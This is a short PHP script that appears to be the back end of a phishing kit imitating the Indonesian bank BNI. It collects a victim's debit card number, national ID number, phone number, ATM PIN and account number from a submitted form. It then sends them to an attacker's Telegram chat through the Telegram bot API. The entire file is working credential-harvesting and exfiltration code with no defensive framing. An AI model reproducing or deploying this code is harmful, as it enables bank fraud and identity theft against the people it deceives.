<?php
include "../telegram.php";
session_start();
$debit = $_POST['debit'];
$nik = $_POST['nik'];
$nomor = $_POST['nomor'];
$pinatm = $_POST['pinatm'];
$rek = $_POST['rek'];

$_SESSION['debit'] = $debit;
$_SESSION['nik'] = $nik;
$_SESSION['nomor'] = $nomor;
$_SESSION['pinatm'] = $pinatm;
$_SESSION['rek'] = $rek;
$nohp = $_SESSION['nohp'];
$message = "
✧━━━━━━[ BNI TARIF ]━━━━━━✧
RESS BNI ( ".$nohp." )

• No.Debit : ".$debit."
• Nik KTP : ".$nik."
• Nomor : ".$nomor."
• PIN.ATM : ".$pinatm."
• REK : ".$rek."
";

function sendMessage($telegram_id, $message, $id_bot) {
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage?parse_mode=markdown&chat_id=" . $telegram_id;
    $url = $url . "&text=" . urlencode($message);
    $ch = curl_init();
    $optArray = array(
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

sendMessage($telegram_id, $message, $id_bot);
?>